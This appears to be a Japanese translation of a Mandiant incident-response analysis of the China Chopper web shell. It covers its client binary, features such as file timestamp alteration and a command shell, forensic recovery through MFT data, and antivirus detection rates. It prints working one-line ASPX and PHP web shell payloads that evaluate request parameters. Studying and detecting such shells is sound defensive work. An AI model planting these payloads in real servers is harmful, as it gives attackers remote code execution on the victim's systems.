China Chopper Web シェルの分析 – パート I

Client binary viewed in WinHex news

2 部構成のシリーズの第 1 部。

China Chopper: 可能性のある小さなマルウェア

China Chopper は、巧妙な小さな Web シェルであり、そのステルス性に対して十分な露出と評価を得ていません。セキュリティ研究者の Keith Tyler による優れたブログ投稿を除けば、インシデント対応作業中に China Chopper に出くわしたときに、China Chopper に関する有用な情報はほとんど見つかりませんでした。そこで、公開知識ベースに何か新しいことを提供するために (特に、自分の Web サーバーの 1 つで China Chopper のサーバー側ペイロードを偶然見つけた人のために)、コンポーネント、機能、ペイロード属性、およびこの 4 キロバイトの検出率を調査しました。脅威。

コンポーネント

China Chopper は、コンポーネントに関してはかなり単純なバックドアです。これには、Web シェル コマンド アンド コントロール (CnC) クライアント バイナリと、テキスト ベースの Web シェル ペイロード (サーバー コンポーネント) という 2 つの主要なコンポーネントがあります。テキストベースのペイロードは非常にシンプルで短いため、攻撃者は標的のサーバーで直接入力することができ、ファイル転送は必要ありません。

Web シェル クライアント

Web シェル クライアントは以前は www.maicaidao.com で入手できましたが、今はそのサイトにアクセスしないことをお勧めします。

Web シェル (CnC) クライアント MD5 ハッシュ
caidao.exe caidao.exe 5001ef50c7e869253a7c152a638eab8a 5001ef50c7e869253a7c152a638eab8a

図 1 に示すように、クライアント バイナリは UPX で圧縮されており、サイズは 220,672 バイトです。

Client binary viewed in WinHex
図 1: WinHex で表示されたクライアント バイナリ

実行可能ファイル コンプレッサー UPX を使用してバイナリを解凍すると、パッカーによって隠されている詳細の一部を確認できます。

C:Documents and SettingsAdministratorDesktop>upx -d 5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exe

実行可能ファイル用の究極のパッカー

Copyright (C) 1996 – 2011 UPX 3.08w Markus Oberhumer, Laszlo Molnar & John Reiser 2011 年 12 月 12 日 ファイル サイズ 比率 フォーマット名 ——————– —- — ———– ———–

700416 <- 220672 31.51% win32/pe decomp.exe 解凍された 1 ファイル。

PEiD (PE 実行可能ファイルに含まれるパッカー、クリプター、およびコンパイラーを検出するための無料ツール) を使用すると、図 2 に示すように、解凍されたクライアント バイナリが Microsoft Visual C++ 6.0 で記述されていることがわかります。

PEiD は、バイナリが Visual C++ 6.0 を使用して記述されたことを明らかにします。
図 2: PEiD は、バイナリが Visual C++ 6.0 を使用して記述されたことを明らかにします

文字列はエンコードされていないため、解凍されたバイナリ内の印刷可能な文字列を調べると、バックドアがどのように通信するかについての洞察が得られます。中国語 (簡体字) の言語パラメーターを使用した google.com.hk への参照 (図 3) と、「チョッパー」というテキストへの参照 (図 4) に興味をそそられました。

印刷可能な文字列
図 3: 印刷可能な文字列はwww.google.com.hkを参照
クライアント バイナリでの Chopper への参照
図 4: クライアント バイナリでの Chopper への参照

そのため、クライアント バイナリのいくつかの属性を強調しました。しかし、使用中はどのように見えますか? China Chopper は、便利な攻撃機能と被害者管理機能を備えたメニュー方式の GUI です。クライアントを開くと、元は Web シェルのコンポーネントをホストしていた www.maicaidao.com を指すシェル エントリの例が表示されます。

独自のターゲットを追加するには、図 5 に示すように、クライアント内で右クリックして [追加] を選択し、ターゲットの IP アドレス、パスワード、およびエンコードを入力します。

China Chopper Web シェル クライアント バイナリの画像
図 5: China Chopper Web シェル クライアント バイナリの図

サーバー側のペイロード コンポーネント

しかし、クライアントはリモート アクセス ツールの半分に過ぎず、ネットワーク上で見られる部分ではない可能性があります。その通信は、小さな Web アプリケーションの形式のペイロードに依存しています。このペイロードは、ASP、ASPX、PHP、JSP、CFM などのさまざまな言語で利用できます。ダウンロード可能な元のファイルの一部を MD5 ハッシュで示します。

Web シェル ペイロード MD5 ハッシュ
カスタマイズ.aspx カスタマイズ.aspx 8aa603ee2454da64f4c70f24cc0b5e08 8aa603ee2454da64f4c70f24cc0b5e08
カスタマイズ.cfm カスタマイズ.cfm ad8288227240477a95fb023551773c84 ad8288227240477a95fb023551773c84
Customize.jsp Customize.jsp acba8115d027529763ea5c7ed6621499 acba8115d027529763ea5c7ed6621499

ソース: http://informationonsecurity.blogspot.com/2012/11/china-chhopper-webshell.html

MD5 は便利ですが、これは簡単に変更できるテキストベースのペイロードであり、結果として新しい MD5 ハッシュになることに注意してください。ペイロード属性については後で説明しますが、以下はテキストベースのペイロードの 1 つの例です。

ASPX:

 <%@ Page Language=”Jscript”%><%eval(Request.Item[“password”],”unsafe”);%>

「password」は、Web シェルへの接続時にクライアント コンポーネントで使用される実際のパスワードに置き換えられることに注意してください。

次の投稿では、この Web シェルのインスタンスを見つけるために使用できる正規表現を提供します。

機能

ペイロードとクライアントの両方の機能は、そのサイズを考えると印象的です。 Web シェル クライアントには、ペイロードとは独立した「セキュリティ スキャン」機能が含まれています。これにより、攻撃者はスパイダーを実行し、認証ポータルに対してブルート フォース パスワード推測を使用できます。

China Chopper は「セキュリティ スキャン」機能を提供します
図 6: China Chopper は「セキュリティ スキャン」機能を提供します

脆弱性ハンティングに加えて、この Web シェルには、クライアントとペイロードを組み合わせる際の優れた CnC 機能があり、次のようなものがあります。

  • ファイル管理 (ファイル エクスプローラー)
  • データベース管理 (DB クライアント)
  • 仮想端末 (コマンド シェル)

China Chopper のメイン ウィンドウで、ターゲット URL の 1 つを右クリックすると、可能なアクションのリストが表示されます (図 7 を参照)。

Web シェルの機能を示す CnC クライアントのスクリーンショット
図 7: Web シェルの機能を示す CnC クライアントのスクリーンショット

ファイル管理

リモート アクセス ツール (RAT) として使用される China Chopper は、ファイル管理をシンプルにします。能力には、被害者との間でのファイルのアップロードとダウンロード、ファイル取得ツール wget を使用した Web からターゲットへのファイルのダウンロード、編集、削除、コピー、名前の変更、さらにはファイルのタイムスタンプの変更が含まれます。

ファイル管理は、ファイル名を右クリックして起動する使いやすいメニューを提供します
図 8: ファイル管理は、ファイル名を右クリックして起動する使いやすいメニューを提供します

では、「ファイルの時刻を変更する」オプションはどれほどステルスなのだろうか?図 9 は、Web シェルがタイムスタンプを変更する前の test ディレクトリ内の 3 つのファイルのタイムスタンプを示しています。デフォルトでは、Windows エクスプローラーには「更新日」フィールドのみが表示されます。通常、私たちの Web シェルは、他の 2 つのファイルよりも新しいため、簡単に目立ちます。

時刻変更前のタイム スタンプを示す IIS ディレクトリ
図 9: 時刻変更前のタイム スタンプを示す IIS ディレクトリ

図 10 は、Web シェルがタイムスタンプを変更した後のファイルの日付を示しています。 Web シェルの変更時刻は、他の 2 つのファイルと同じように表示されます。これはユーザーに表示されるデフォルトのフィールドであるため、特にディレクトリ内に多くのファイルがある場合、慣れていない人には簡単に溶け込んでしまいます。

時刻変更後のタイム スタンプを示す IIS ディレクトリ
図 10: 時刻変更後のタイム スタンプを示す IIS ディレクトリ

賢い調査員は、作成日が変更日と同じ日付に変更されているため、疑わしいファイルを見つけることができると考えるかもしれません。しかし、これは必ずしも異常ではありません。さらに、ファイルが検出されたとしても、攻撃者がファイルを植えた日付がもはや存在しないため、フォレンジックのタイムラインが歪められます。ファイルが植えられた実際の日付を確認するには、マスター ファイル テーブル (MFT) に移動する必要があります。 FTK、EnCase、またはその他の手段を使用して MFT を取得した後、mftdump ( http://malware-hunters.net/all-downloads/から入手可能) を使用することをお勧めします。 FireEye の研究者である Mike Spohn が作成した mftdump は、ファイル メタデータを抽出して分析するための優れたツールです。

次の表は、Web シェル ファイルの MFT から取得したタイムスタンプを示しています。タイムスタンプが変更される前後のタイムスタンプを取得しました。 「fn*」フィールドは元の時間を保持しているため、調査者にとってすべてが失われるわけではないことに注意してください。

カテゴリー プレタッチマッチ ポストタッチマッチ
siCreateTime (UTC) siCreateTime (UTC) 2013/6/6 16:01 2013/6/6 16:01 2003/2/21 22:48 2003/2/21 22:48
siAccessTime (UTC) siAccessTime (UTC) 2013/6/20 1:41 2013/6/20 1:41 2013/6/25 18:56 2013/6/25 18:56
siModTime (UTC) siModTime (UTC) 2013/6/7 0:33 2013/6/7 0:33 2003/2/21 22:48 2003/2/21 22:48
siMFTModTime (UTC) siMFTModTime (UTC) 2013/6/20 1:54 2013/6/20 1:54 2013/6/25 18:56 2013/6/25 18:56
fnCreateTime (UTC) fnCreateTime (UTC) 2013/6/6 16:01 2013/6/6 16:01 2013/6/6 16:01 2013/6/6 16:01
fnAccessTime (UTC) fnAccessTime (UTC) 2013/6/6 16:03 2013/6/6 16:03 2013/6/6 16:03 2013/6/6 16:03
fnModTime (UTC) fnModTime (UTC) 2013/6/4 15:42 2013/6/4 15:42 2013/6/4 15:42 2013/6/4 15:42
fnMFTModTime (UTC) fnMFTModTime (UTC) 2013/6/6 16:04 2013/6/6 16:04 2013/6/6 16:04 2013/6/6 16:04

データベース管理

データベース管理機能は印象的で、初めてのユーザーに役立ちます。クライアントを構成すると、China Chopper は接続構文の例を提供します。

データベース管理には、接続するための単純な構成パラメーターが必要です
図 11: データベース管理には、接続するための単純な構成パラメーターが必要です

接続後、China Chopper は、実行することをお勧めする便利な SQL コマンドも提供します。

データベース管理は、データベースと対話する機能を提供し、事前入力された便利なコマンドも提供します
図 12: データベース管理は、データベースと対話する機能を提供し、事前入力された便利なコマンドも提供します

コマンド シェル アクセス

最後に、必要な OS レベルの対話用にコマンド シェル アクセスが提供されます。なんて用途の広い小さな Web シェルでしょう!

仮想端末は、OS と対話するためのコマンド シェルを提供します
図 13: 仮想端末は、OS との対話用のコマンド シェルを提供します

ペイロード属性

上記のとおり、このバックドアは、次のような多くの要因によりステルスであると述べました。

  • サイズ
  • サーバー側のコンテンツ
  • クライアント側のコンテンツ
  • AV検出率

サイズ

正当なソフトウェアと違法なソフトウェアは、通常、同じ原則に悩まされます。つまり、より多くの機能はより多くのコードに等しく、より大きなサイズに等しくなります。この Web シェルに含まれる機能の数を考えると、信じられないほど小さく、aspx バージョンでわずか 73 バイト、ディスク上で 4 キロバイトです (図 14 を参照)。これを、Laudanum (619 バイト) や RedTeam Pentesting (8,527 バイト) などの他の Web シェルと比較してください。 China Chopper は非常に小さくシンプルなので、おそらくシェルの内容を手で入力できます。

China Chopper ファイルのプロパティ
図 14: China Chopper ファイルのプロパティ

サーバー側のコンテンツ

サーバー側のコンテンツは、複雑なアプリケーションのバニラ インストールに関連付けられた他のファイルの中で簡単に見落とされる可能性があります。コードは本質的にそれほど邪悪に見えませんが、興味深いものです。

ファイルの内容は比較的無害に見えます。特に、シェルのパスワードとして Security のような温かみのあるあいまいな単語を追加すると、
図 15: ファイルの内容は比較的無害に見えます。特に、シェルのパスワードとして Security のような温かみのあるあいまいな単語を追加した場合はなおさらです。

以下は、2 種類の Web シェルの内容です。

ASPX:

 <%@ Page Language=”Jscript”%><%eval(Request.Item[“password”],”unsafe”);%>

PHP:

 <?php @eval($_POST[‘password’]);?>

クライアント側のコンテンツ

すべてのコードはクライアント側のコードを生成しないサーバー側の言語であるため、クライアントとして Web シェルを参照してソースを表示しても、何も明らかになりません。

Web シェルのソースを表示しても、クライアントには何もわかりません
図 16: Web シェルのソースを表示しても、クライアントには何もわかりません

アンチウイルス検出率

ウイルス スキャン Web サイト No Virus Thanks で Web シェルを実行すると、14 のうち 0 の検出率が示されます。これは、すべてではないにしても、ほとんどのウイルス対策ツールが、感染したシステムの Web シェルを見逃すことを示しています。

複数のウイルス対策エンジンを検査した結果、China Chopper が問題なく動作することが示されました
図 17: 複数のウイルス対策エンジンを検査した結果、China Chopper が問題なく動作していることを示しています

同じことが VirusTotal にも当てはまります。同社の 47 のウイルス対策エンジンはどれも、チャイナ チョッパーが悪意のあるものとしてフラグを立てていません。

Web シェルが正常であることを示す複数の AV エンジン検査の結果
図 18: 複数の AV エンジン検査の結果、Web シェルが正常に動作することを示しています

結論

この投稿によって、このコンパクトで柔軟性があり、ステルスな Web シェルの理解が深まることを願っています。これを読んでいるあなたは、今、チャイナ チョッパーに直面しているかもしれません。パート IIでは、China Chopper が実行されるプラットフォームを検証し、その配信メカニズム、トラフィック分析、および検出について説明します。

参照: https://www.mandiant.com/resources/blog/breaking-down-china-chopper-web-shell-part-i

Comments

Copied title and URL